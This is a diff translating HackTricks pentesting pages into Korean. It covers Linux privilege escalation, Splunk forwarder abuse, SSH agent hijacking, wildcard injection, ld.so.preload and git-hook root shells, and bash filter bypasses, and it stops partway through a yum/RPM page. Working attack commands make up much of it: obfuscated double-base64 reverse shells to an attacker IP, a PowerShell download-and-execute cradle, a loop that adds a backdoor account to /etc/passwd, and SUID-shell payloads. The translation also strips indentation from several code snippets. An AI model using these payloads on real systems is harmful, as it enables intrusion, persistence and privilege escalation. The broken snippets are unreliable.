user simply cannot work (unless you have a rootless configuration). Making a rootless configuration the default isn't generally a good idea because there are quite a few restrictions inside rootless containers that don't apply outside rootless containers. +> 이것은 항상 작동하지 않을 수 있습니다. runc의 기본 작동 방식은 root로 실행하는 것이므로, 비특권 사용자로 실행하는 것은 단순히 작동할 수 없습니다(루트리스 구성 없이는). 루트리스 구성을 기본값으로 설정하는 것은 일반적으로 좋은 생각이 아닙니다. 루트리스 컨테이너 내부에는 루트리스 컨테이너 외부에는 적용되지 않는 몇 가지 제한이 있기 때문입니다. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/selinux.md b/src/linux-hardening/privilege-escalation/selinux.md index 548f3d785..365defae7 100644 --- a/src/linux-hardening/privilege-escalation/selinux.md +++ b/src/linux-hardening/privilege-escalation/selinux.md @@ -1,13 +1,12 @@ {{#include ../../banners/hacktricks-training.md}} -# SELinux in Containers +# 컨테이너의 SELinux -[Introduction and example from the redhat docs](https://www.redhat.com/sysadmin/privileged-flag-container-engines) +[레드햇 문서의 소개 및 예시](https://www.redhat.com/sysadmin/privileged-flag-container-engines) -[SELinux](https://www.redhat.com/en/blog/latest-container-exploit-runc-can-be-blocked-selinux) is a **labeling** **system**. Every **process** and every **file** system object has a **label**. SELinux policies define rules about what a **process label is allowed to do with all of the other labels** on the system. - -Container engines launch **container processes with a single confined SELinux label**, usually `container_t`, and then set the container inside of the container to be labeled `container_file_t`. The SELinux policy rules basically say that the **`container_t` processes can only read/write/execute files labeled `container_file_t`**. If a container process escapes the container and attempts to write to content on the host, the Linux kernel denies access and only allows the container process to write to content labeled `container_file_t`. +[SELinux](https://www.redhat.com/en/blog/latest-container-exploit-runc-can-be-blocked-selinux)는 **레이블링** **시스템**입니다. 모든 **프로세스**와 모든 **파일** 시스템 객체는 **레이블**을 가지고 있습니다. SELinux 정책은 **프로세스 레이블이 시스템의 다른 모든 레이블과 함께 무엇을 할 수 있는지에 대한 규칙을 정의**합니다. +컨테이너 엔진은 **단일 제한된 SELinux 레이블**로 **컨테이너 프로세스**를 시작하며, 일반적으로 `container_t`를 사용하고, 그 다음 컨테이너 내부의 컨테이너를 `container_file_t`로 레이블을 설정합니다. SELinux 정책 규칙은 기본적으로 **`container_t` 프로세스가 `container_file_t`로 레이블된 파일만 읽고/쓰고/실행할 수 있다고 말합니다**. 만약 컨테이너 프로세스가 컨테이너를 탈출하여 호스트의 콘텐츠에 쓰려고 시도하면, 리눅스 커널은 접근을 거부하고 컨테이너 프로세스가 `container_file_t`로 레이블된 콘텐츠에만 쓸 수 있도록 허용합니다. ```shell $ podman run -d fedora sleep 100 d4194babf6b877c7100e79de92cd6717166f7302113018686cea650ea40bd7cb @@ -15,9 +14,8 @@ $ podman top -l label LABEL system_u:system_r:container_t:s0:c647,c780 ``` +# SELinux 사용자 -# SELinux Users - -There are SELinux users in addition to the regular Linux users. SELinux users are part of an SELinux policy. Each Linux user is mapped to a SELinux user as part of the policy. This allows Linux users to inherit the restrictions and security rules and mechanisms placed on SELinux users. +정상 Linux 사용자 외에도 SELinux 사용자가 있습니다. SELinux 사용자는 SELinux 정책의 일부입니다. 각 Linux 사용자는 정책의 일환으로 SELinux 사용자에 매핑됩니다. 이를 통해 Linux 사용자는 SELinux 사용자에게 부여된 제한 및 보안 규칙과 메커니즘을 상속받을 수 있습니다. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/socket-command-injection.md b/src/linux-hardening/privilege-escalation/socket-command-injection.md index 3b5a9002d..cd4befc2d 100644 --- a/src/linux-hardening/privilege-escalation/socket-command-injection.md +++ b/src/linux-hardening/privilege-escalation/socket-command-injection.md @@ -1,9 +1,8 @@ {{#include ../../banners/hacktricks-training.md}} -## Socket binding example with Python - -In the following example a **unix socket is created** (`/tmp/socket_test.s`) and everything **received** is going to be **executed** by `os.system`.I know that you aren't going to find this in the wild, but the goal of this example is to see how a code using unix sockets looks like, and how to manage the input in the worst case possible. +## Python을 이용한 소켓 바인딩 예제 +다음 예제에서는 **유닉스 소켓이 생성됩니다** (`/tmp/socket_test.s`) 그리고 **수신된 모든 것**은 `os.system`에 의해 **실행됩니다**. 이 예제가 실제 환경에서 발견되지 않을 것이라는 것을 알고 있지만, 이 예제의 목표는 유닉스 소켓을 사용하는 코드가 어떻게 생겼는지, 그리고 최악의 경우 입력을 어떻게 관리하는지를 보는 것입니다. ```python:s.py import socket import os, os.path @@ -11,34 +10,29 @@ import time from collections import deque if os.path.exists("/tmp/socket_test.s"): - os.remove("/tmp/socket_test.s") +os.remove("/tmp/socket_test.s") server = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) server.bind("/tmp/socket_test.s") os.system("chmod o+w /tmp/socket_test.s") while True: - server.listen(1) - conn, addr = server.accept() - datagram = conn.recv(1024) - if datagram: - print(datagram) - os.system(datagram) - conn.close() +server.listen(1) +conn, addr = server.accept() +datagram = conn.recv(1024) +if datagram: +print(datagram) +os.system(datagram) +conn.close() ``` - -**Execute** the code using python: `python s.py` and **check how the socket is listening**: - +**코드를 실행**하려면 python을 사용하세요: `python s.py` 그리고 **소켓이 어떻게 수신 대기하는지 확인하세요**: ```python netstat -a -p --unix | grep "socket_test" (Not all processes could be identified, non-owned process info - will not be shown, you would have to be root to see it all.) +will not be shown, you would have to be root to see it all.) unix 2 [ ACC ] STREAM LISTENING 901181 132748/python /tmp/socket_test.s ``` - -**Exploit** - +**익스플로잇** ```python echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash; chmod +x /tmp/bash;" | socat - UNIX-CLIENT:/tmp/socket_test.s ``` - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md b/src/linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md index 11d4253c5..0fa440767 100644 --- a/src/linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md +++ b/src/linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md @@ -1,52 +1,50 @@ -# Splunk LPE and Persistence +# Splunk LPE 및 지속성 {{#include ../../banners/hacktricks-training.md}} -If **enumerating** a machine **internally** or **externally** you find **Splunk running** (port 8090), if you luckily know any **valid credentials** you can **abuse the Splunk service** to **execute a shell** as the user running Splunk. If root is running it, you can escalate privileges to root. +기계 **내부** 또는 **외부**를 **열거**하는 동안 **Splunk가 실행 중**인 것을 발견하면(포트 8090), 운이 좋게도 **유효한 자격 증명**을 알고 있다면 **Splunk 서비스를 악용**하여 Splunk를 실행 중인 사용자로서 **쉘을 실행**할 수 있습니다. 만약 root가 실행 중이라면, root 권한으로 상승할 수 있습니다. -Also if you are **already root and the Splunk service is not listening only on localhost**, you can **steal** the **password** file **from** the Splunk service and **crack** the passwords, or **add new** credentials to it. And maintain persistence on the host. +또한 이미 root인 경우 Splunk 서비스가 localhost에서만 수신 대기하지 않는다면, Splunk 서비스에서 **비밀번호** 파일을 **훔치고** 비밀번호를 **크랙**하거나, **새로운** 자격 증명을 추가할 수 있습니다. 그리고 호스트에서 지속성을 유지할 수 있습니다. -In the first image below you can see how a Splunkd web page looks like. +아래 첫 번째 이미지에서 Splunkd 웹 페이지가 어떻게 생겼는지 볼 수 있습니다. -## Splunk Universal Forwarder Agent Exploit Summary +## Splunk Universal Forwarder Agent 취약점 요약 -For further details check the post [https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/](https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/). This is just a sumary: +자세한 내용은 [https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/](https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/) 게시물을 확인하세요. 이것은 요약입니다: -**Exploit Overview:** -An exploit targeting the Splunk Universal Forwarder Agent (UF) allows attackers with the agent password to execute arbitrary code on systems running the agent, potentially compromising an entire network. +**취약점 개요:** +Splunk Universal Forwarder Agent (UF)를 대상으로 하는 취약점은 공격자가 에이전트 비밀번호를 사용하여 에이전트를 실행 중인 시스템에서 임의의 코드를 실행할 수 있게 하여 전체 네트워크를 위험에 빠뜨릴 수 있습니다. -**Key Points:** +**주요 사항:** -- The UF agent does not validate incoming connections or the authenticity of code, making it vulnerable to unauthorized code execution. -- Common password acquisition methods include locating them in network directories, file shares, or internal documentation. -- Successful exploitation can lead to SYSTEM or root level access on compromised hosts, data exfiltration, and further network infiltration. +- UF 에이전트는 수신 연결이나 코드의 진위를 검증하지 않아 무단 코드 실행에 취약합니다. +- 일반적인 비밀번호 획득 방법에는 네트워크 디렉토리, 파일 공유 또는 내부 문서에서 찾는 것이 포함됩니다. +- 성공적인 악용은 손상된 호스트에서 SYSTEM 또는 root 수준의 접근, 데이터 유출 및 추가 네트워크 침투로 이어질 수 있습니다. -**Exploit Execution:** +**취약점 실행:** -1. Attacker obtains the UF agent password. -2. Utilizes the Splunk API to send commands or scripts to the agents. -3. Possible actions include file extraction, user account manipulation, and system compromise. +1. 공격자가 UF 에이전트 비밀번호를 획득합니다. +2. Splunk API를 사용하여 에이전트에 명령이나 스크립트를 전송합니다. +3. 가능한 작업에는 파일 추출, 사용자 계정 조작 및 시스템 손상이 포함됩니다. -**Impact:** +**영향:** -- Full network compromise with SYSTEM/root level permissions on each host. -- Potential for disabling logging to evade detection. -- Installation of backdoors or ransomware. - -**Example Command for Exploitation:** +- 각 호스트에서 SYSTEM/root 수준 권한으로 전체 네트워크가 손상됩니다. +- 탐지를 피하기 위해 로깅을 비활성화할 가능성. +- 백도어 또는 랜섬웨어 설치. +**악용을 위한 예제 명령:** ```bash for i in `cat ip.txt`; do python PySplunkWhisperer2_remote.py --host $i --port 8089 --username admin --password "12345678" --payload "echo 'attacker007:x:1003:1003::/home/:/bin/bash' >> /etc/passwd" --lhost 192.168.42.51;done ``` - -**Usable public exploits:** +**사용 가능한 공개 익스플로잇:** - https://github.com/cnotin/SplunkWhisperer2/tree/master/PySplunkWhisperer2 - https://www.exploit-db.com/exploits/46238 - https://www.exploit-db.com/exploits/46487 -## Abusing Splunk Queries +## Splunk 쿼리 악용 -**For further details check the post [https://blog.hrncirik.net/cve-2023-46214-analysis](https://blog.hrncirik.net/cve-2023-46214-analysis)** +**자세한 내용은 게시물 [https://blog.hrncirik.net/cve-2023-46214-analysis](https://blog.hrncirik.net/cve-2023-46214-analysis)를 확인하세요.** {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/ssh-forward-agent-exploitation.md b/src/linux-hardening/privilege-escalation/ssh-forward-agent-exploitation.md index 774e13999..0d14e5213 100644 --- a/src/linux-hardening/privilege-escalation/ssh-forward-agent-exploitation.md +++ b/src/linux-hardening/privilege-escalation/ssh-forward-agent-exploitation.md @@ -1,30 +1,26 @@ {{#include ../../banners/hacktricks-training.md}} -# Summary - -What can you do if you discover inside the `/etc/ssh_config` or inside `$HOME/.ssh/config` configuration this: +# 요약 +`/etc/ssh_config` 또는 `$HOME/.ssh/config` 구성에서 다음을 발견하면 무엇을 할 수 있습니까: ``` ForwardAgent yes ``` +기계 내부에서 루트 권한이 있는 경우, _/tmp_ 디렉토리에서 찾을 수 있는 **모든 에이전트가 만든 ssh 연결에 접근할 수 있습니다**. -If you are root inside the machine you can probably **access any ssh connection made by any agent** that you can find in the _/tmp_ directory - -Impersonate Bob using one of Bob's ssh-agent: - +Bob의 ssh-agent 중 하나를 사용하여 Bob을 가장합니다: ```bash SSH_AUTH_SOCK=/tmp/ssh-haqzR16816/agent.16816 ssh bob@boston ``` +## 왜 이게 작동할까요? -## Why does this work? +변수 `SSH_AUTH_SOCK`을 설정하면 Bob의 ssh 연결에 사용된 키에 접근하게 됩니다. 그런 다음, 그의 개인 키가 여전히 존재한다면(보통은 존재합니다), 이를 사용하여 어떤 호스트에도 접근할 수 있습니다. -When you set the variable `SSH_AUTH_SOCK` you are accessing the keys of Bob that have been used in Bobs ssh connection. Then, if his private key is still there (normally it will be), you will be able to access any host using it. +개인 키가 에이전트의 메모리에 암호화되지 않은 상태로 저장되기 때문에, 만약 당신이 Bob이지만 개인 키의 비밀번호를 모른다면, 여전히 에이전트에 접근하여 이를 사용할 수 있을 것입니다. -As the private key is saved in the memory of the agent uncrypted, I suppose that if you are Bob but you don't know the password of the private key, you can still access the agent and use it. +또 다른 옵션은, 에이전트의 소유자와 root가 에이전트의 메모리에 접근하여 개인 키를 추출할 수 있다는 것입니다. -Another option, is that the user owner of the agent and root may be able to access the memory of the agent and extract the private key. +# 긴 설명 및 악용 -# Long explanation and exploitation - -**Check the [original research here](https://www.clockwork.com/insights/ssh-agent-hijacking/)** +**[원본 연구를 여기서 확인하세요](https://www.clockwork.com/insights/ssh-agent-hijacking/)** {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/wildcards-spare-tricks.md b/src/linux-hardening/privilege-escalation/wildcards-spare-tricks.md index d497174d6..9d6127fcc 100644 --- a/src/linux-hardening/privilege-escalation/wildcards-spare-tricks.md +++ b/src/linux-hardening/privilege-escalation/wildcards-spare-tricks.md @@ -2,71 +2,59 @@ ## chown, chmod -You can **indicate which file owner and permissions you want to copy for the rest of the files** - +당신은 **나머지 파일에 대해 복사하고 싶은 파일 소유자와 권한을 지정할 수 있습니다** ```bash touch "--reference=/my/own/path/filename" ``` - -You can exploit this using [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(combined attack)_\ -More info in [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930) +이것은 [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(결합 공격)_을 사용하여 악용할 수 있습니다.\ +자세한 정보는 [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930)에서 확인하세요. ## Tar -**Execute arbitrary commands:** - +**임의의 명령 실행:** ```bash touch "--checkpoint=1" touch "--checkpoint-action=exec=sh shell.sh" ``` - -You can exploit this using [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(tar attack)_\ -More info in [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930) +이것은 [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(tar 공격)_을 사용하여 악용할 수 있습니다.\ +자세한 내용은 [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930)에서 확인하세요. ## Rsync -**Execute arbitrary commands:** - +**임의의 명령 실행:** ```bash Interesting rsync option from manual: - -e, --rsh=COMMAND specify the remote shell to use - --rsync-path=PROGRAM specify the rsync to run on remote machine +-e, --rsh=COMMAND specify the remote shell to use +--rsync-path=PROGRAM specify the rsync to run on remote machine ``` ```bash touch "-e sh shell.sh" ``` - -You can exploit this using [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(\_rsync \_attack)_\ -More info in [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930) +이것은 [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(\_rsync \_attack)_을 사용하여 악용할 수 있습니다.\ +자세한 정보는 [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930)에서 확인하세요. ## 7z -In **7z** even using `--` before `*` (note that `--` means that the following input cannot treated as parameters, so just file paths in this case) you can cause an arbitrary error to read a file, so if a command like the following one is being executed by root: - +**7z**에서는 `--`를 `*` 앞에 사용하더라도(여기서 `--`는 다음 입력이 매개변수로 처리될 수 없음을 의미하므로 이 경우 파일 경로만 해당됨) 임의의 오류를 발생시켜 파일을 읽을 수 있습니다. 따라서 다음과 같은 명령이 root에 의해 실행되고 있다면: ```bash 7za a /backup/$filename.zip -t7z -snl -p$pass -- * ``` - -And you can create files in the folder were this is being executed, you could create the file `@root.txt` and the file `root.txt` being a **symlink** to the file you want to read: - +그리고 이 명령이 실행되는 폴더에 파일을 생성할 수 있으며, `@root.txt` 파일과 읽고 싶은 파일에 대한 **symlink**인 `root.txt` 파일을 생성할 수 있습니다: ```bash cd /path/to/7z/acting/folder touch @root.txt ln -s /file/you/want/to/read root.txt ``` +그런 다음 **7z**가 실행되면 `root.txt`를 압축해야 할 파일 목록이 포함된 파일로 처리합니다(그것이 `@root.txt`의 존재가 나타내는 것입니다) 그리고 7z가 `root.txt`를 읽을 때 `/file/you/want/to/read`를 읽게 되며 **이 파일의 내용이 파일 목록이 아니기 때문에 오류를 발생시킵니다** 내용이 표시됩니다. -Then, when **7z** is execute, it will treat `root.txt` as a file containing the list of files it should compress (thats what the existence of `@root.txt` indicates) and when it 7z read `root.txt` it will read `/file/you/want/to/read` and **as the content of this file isn't a list of files, it will throw and error** showing the content. - -_More info in Write-ups of the box CTF from HackTheBox._ +_더 많은 정보는 HackTheBox의 CTF 박스 Write-ups에서 확인하세요._ ## Zip -**Execute arbitrary commands:** - +**임의의 명령 실행:** ```bash zip name.zip files -T --unzip-command "sh -c whoami" ``` - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/write-to-root.md b/src/linux-hardening/privilege-escalation/write-to-root.md index 65f4bbafc..d874e34b9 100644 --- a/src/linux-hardening/privilege-escalation/write-to-root.md +++ b/src/linux-hardening/privilege-escalation/write-to-root.md @@ -1,40 +1,36 @@ -# Arbitrary File Write to Root +# 루트에 임의 파일 쓰기 {{#include ../../banners/hacktricks-training.md}} ### /etc/ld.so.preload -This file behaves like **`LD_PRELOAD`** env variable but it also works in **SUID binaries**.\ -If you can create it or modify it, you can just add a **path to a library that will be loaded** with each executed binary. - -For example: `echo "/tmp/pe.so" > /etc/ld.so.preload` +이 파일은 **`LD_PRELOAD`** 환경 변수처럼 작동하지만 **SUID 바이너리**에서도 작동합니다.\ +이 파일을 생성하거나 수정할 수 있다면, 실행되는 각 바이너리와 함께 로드될 **라이브러리의 경로를 추가**할 수 있습니다. +예: `echo "/tmp/pe.so" > /etc/ld.so.preload` ```c #include #include #include void _init() { - unlink("/etc/ld.so.preload"); - setgid(0); - setuid(0); - system("/bin/bash"); +unlink("/etc/ld.so.preload"); +setgid(0); +setuid(0); +system("/bin/bash"); } //cd /tmp //gcc -fPIC -shared -o pe.so pe.c -nostartfiles ``` - ### Git hooks -[**Git hooks**](https://git-scm.com/book/en/v2/Customizing-Git-Git-Hooks) are **scripts** that are **run** on various **events** in a git repository like when a commit is created, a merge... So if a **privileged script or user** is performing this actions frequently and it's possible to **write in the `.git` folder**, this can be used to **privesc**. - -For example, It's possible to **generate a script** in a git repo in **`.git/hooks`** so it's always executed when a new commit is created: +[**Git hooks**](https://git-scm.com/book/en/v2/Customizing-Git-Git-Hooks)는 git 리포지토리에서 커밋이 생성되거나 병합될 때와 같은 다양한 **이벤트**에서 **실행되는** **스크립트**입니다. 따라서 **특권 스크립트 또는 사용자**가 이러한 작업을 자주 수행하고 **`.git` 폴더**에 **쓰기**가 가능하다면, 이를 **privesc**에 사용할 수 있습니다. +예를 들어, git 리포지토리의 **`.git/hooks`**에 **스크립트**를 **생성**하여 새로운 커밋이 생성될 때마다 항상 실행되도록 할 수 있습니다: ```bash echo -e '#!/bin/bash\n\ncp /bin/bash /tmp/0xdf\nchown root:root /tmp/0xdf\nchmod 4777 /tmp/b' > pre-commit chmod +x pre-commit ``` - ### Cron & Time files TODO @@ -45,6 +41,6 @@ TODO ### binfmt_misc -The file located in `/proc/sys/fs/binfmt_misc` indicates which binary should execute whic type of files. TODO: check the requirements to abuse this to execute a rev shell when a common file type is open. +`/proc/sys/fs/binfmt_misc`에 위치한 파일은 어떤 바이너리가 어떤 유형의 파일을 실행해야 하는지를 나타냅니다. TODO: 일반 파일 유형이 열릴 때 rev shell을 실행하기 위해 이를 악용할 요구 사항을 확인하십시오. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/useful-linux-commands/README.md b/src/linux-hardening/useful-linux-commands/README.md index f69d43525..4be7ca214 100644 --- a/src/linux-hardening/useful-linux-commands/README.md +++ b/src/linux-hardening/useful-linux-commands/README.md @@ -1,17 +1,8 @@ -# Useful Linux Commands - -
- -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +# 유용한 리눅스 명령어 {{#include ../../banners/hacktricks-training.md}} -## Common Bash - +## 일반적인 Bash ```bash #Exfiltration using Base64 base64 -w 0 file @@ -130,17 +121,7 @@ sudo chattr -i file.txt #Remove the bit so you can delete it # List files inside zip 7z l file.zip ``` - -
- -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} - -## Bash for Windows - +## 윈도우용 Bash ```bash #Base64 for Windows echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/9002.ps1')" | iconv --to-code UTF-16LE | base64 -w0 @@ -160,9 +141,7 @@ python pyinstaller.py --onefile exploit.py #sudo apt-get install gcc-mingw-w64-i686 i686-mingw32msvc-gcc -o executable useradd.c ``` - -## Greps - +## 그렙스 ```bash #Extract emails from file grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" file.txt @@ -242,9 +221,7 @@ grep -Po 'd{3}[s-_]?d{3}[s-_]?d{4}' *.txt > us-phones.txt #Extract ISBN Numbers egrep -a -o "\bISBN(?:-1[03])?:? (?=[0-9X]{10}$|(?=(?:[0-9]+[- ]){3})[- 0-9X]{13}$|97[89][0-9]{10}$|(?=(?:[0-9]+[- ]){4})[- 0-9]{17}$)(?:97[89][- ]?)?[0-9]{1,5}[- ]?[0-9]+[- ]?[0-9]+[- ]?[0-9X]\b" *.txt > isbn.txt ``` - -## Find - +## 찾기 ```bash # Find SUID set files. find / -perm /u=s -ls 2>/dev/null @@ -273,25 +250,19 @@ find / -maxdepth 5 -type f -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /p # Found Newer directory only and sort by time. (depth = 5) find / -maxdepth 5 -type d -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r | less ``` - -## Nmap search help - +## Nmap 검색 도움말 ```bash #Nmap scripts ((default or version) and smb)) nmap --script-help "(default or version) and *smb*" locate -r '\.nse$' | xargs grep categories | grep 'default\|version\|safe' | grep smb nmap --script-help "(default or version) and smb)" ``` - -## Bash - +## 배시 ```bash #All bytes inside a file (except 0x20 and 0x00) for j in $((for i in {0..9}{0..9} {0..9}{a..f} {a..f}{0..9} {a..f}{a..f}; do echo $i; done ) | sort | grep -v "20\|00"); do echo -n -e "\x$j" >> bytes; done ``` - ## Iptables - ```bash #Delete curent rules and chains iptables --flush @@ -322,13 +293,4 @@ iptables -P INPUT DROP iptables -P FORWARD ACCEPT iptables -P OUTPUT ACCEPT ``` - {{#include ../../banners/hacktricks-training.md}} - -
- -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} diff --git a/src/linux-hardening/useful-linux-commands/bypass-bash-restrictions.md b/src/linux-hardening/useful-linux-commands/bypass-bash-restrictions.md index 5391e3c9d..cc3921476 100644 --- a/src/linux-hardening/useful-linux-commands/bypass-bash-restrictions.md +++ b/src/linux-hardening/useful-linux-commands/bypass-bash-restrictions.md @@ -1,27 +1,16 @@ -# Bypass Linux Restrictions +# 리눅스 제한 우회 {{#include ../../banners/hacktricks-training.md}} -
- -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} - -## Common Limitations Bypasses - -### Reverse Shell +## 일반적인 제한 우회 +### 리버스 셸 ```bash # Double-Base64 is a great way to avoid bad characters like +, works 99% of the time echo "echo $(echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1' | base64 | base64)|ba''se''6''4 -''d|ba''se''64 -''d|b''a''s''h" | sed 's/ /${IFS}/g' # echo${IFS}WW1GemFDQXRhU0ErSmlBdlpHVjJMM1JqY0M4eE1DNHhNQzR4TkM0NEx6UTBORFFnTUQ0bU1Rbz0K|ba''se''6''4${IFS}-''d|ba''se''64${IFS}-''d|b''a''s''h ``` - -### Short Rev shell - +### 짧은 Rev 셸 ```bash #Trick from Dikline #Get a rev shell with @@ -29,9 +18,7 @@ echo "echo $(echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1' | base64 | base64)| #Then get the out of the rev shell executing inside of it: exec >&0 ``` - -### Bypass Paths and forbidden words - +### 경로 우회 및 금지된 단어 ```bash # Question mark binary substitution /usr/bin/p?ng # /usr/bin/ping @@ -86,9 +73,7 @@ mi # This will throw an error whoa # This will throw an error !-1!-2 # This will execute whoami ``` - -### Bypass forbidden spaces - +### 금지된 공백 우회 ```bash # {form} {cat,lol.txt} # cat lol.txt @@ -121,22 +106,16 @@ g # These 4 lines will equal to ping $u $u # This will be saved in the history and can be used as a space, please notice that the $u variable is undefined uname!-1\-a # This equals to uname -a ``` - -### Bypass backslash and slash - +### 백슬래시 및 슬래시 우회 ```bash cat ${HOME:0:1}etc${HOME:0:1}passwd cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd ``` - -### Bypass pipes - +### 파이프 우회 ```bash bash<<<$(base64 -d<<g` in a file @@ -334,34 +295,25 @@ ln /f* 'sh x' 'sh g' ``` +## 읽기 전용/Noexec/Distroless 우회 -## Read-Only/Noexec/Distroless Bypass - -If you are inside a filesystem with the **read-only and noexec protections** or even in a distroless container, there are still ways to **execute arbitrary binaries, even a shell!:** +**읽기 전용 및 noexec 보호**가 있는 파일 시스템이나 심지어 distroless 컨테이너 안에 있다면, 여전히 **임의의 바이너리, 심지어 셸을 실행할 수 있는 방법이 있습니다!:** {{#ref}} ../bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/ {{#endref}} -## Chroot & other Jails Bypass +## Chroot 및 기타 감옥 우회 {{#ref}} ../privilege-escalation/escaping-from-limited-bash.md {{#endref}} -## References & More +## 참고자료 및 추가 정보 - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits) - [https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet](https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet) - [https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0](https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0) - [https://www.secjuice.com/web-application-firewall-waf-evasion/](https://www.secjuice.com/web-application-firewall-waf-evasion/) -
- -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-unix/privilege-escalation/exploiting-yum.md b/src/linux-unix/privilege-escalation/exploiting-yum.md index c4bec532f..5413a3bc2 100644 --- a/src/linux-unix/privilege-escalation/exploiting-yum.md +++ b/src/linux-unix/privilege-escalation/exploiting-yum.md @@ -1,25 +1,23 @@ {{#include ../../banners/hacktricks-training.md}} -Further examples around yum can also be found on [gtfobins](https://gtfobins.github.io/gtfobins/yum/). +yum에 대한 추가 예제는 [gtfobins](https://gtfobins.github.io/gtfobins/yum/)에서 찾을 수 있습니다. -# Executing arbitrary commands via RPM Packages +# RPM 패키지를 통한 임의 명령 실행 -## Checking the Environment +## 환경 확인 -In order to leverage this vector the user must be able to execute yum commands as a higher privileged user, i.e. root. +이 벡터를 활용하기 위해 사용자는 더 높은 권한을 가진 사용자, 즉 root로 yum 명령을 실행할 수 있어야 합니다. -### A working example of this vector +### 이 벡터의 작동 예 -A working example of this exploit can be found in the [daily bugle](https://tryhackme.com/room/dailybugle) room on [tryhackme](https://tryhackme.com). +이 익스플로잇의 작동 예는 [tryhackme](https://tryhackme.com)에서 [daily bugle](https://tryhackme.com/room/dailybugle) 방에서 찾을 수 있습니다. -## Packing an RPM +## RPM 패키징 -In the following section, I will cover packaging a reverse shell into an RPM using [fpm](https://github.com/jordansissel/fpm). - -The example below creates a package that includes a before-install trigger with an arbitrary script that can be defined by the attacker. When installed, this package will execute the arbitrary command. I've used a simple reverse netcat shell example for demonstration but this can be changed as necessary. +다음 섹션에서는 [fpm](https://github.com/jordansissel/fpm)을 사용하여 리버스 셸을 RPM에 패키징하는 방법을 다룰 것입니다. +아래 예제는 공격자가 정의할 수 있는 임의의 스크립트를 포함하는 설치 전 트리거가 있는 패키지를 생성합니다. 설치되면 이 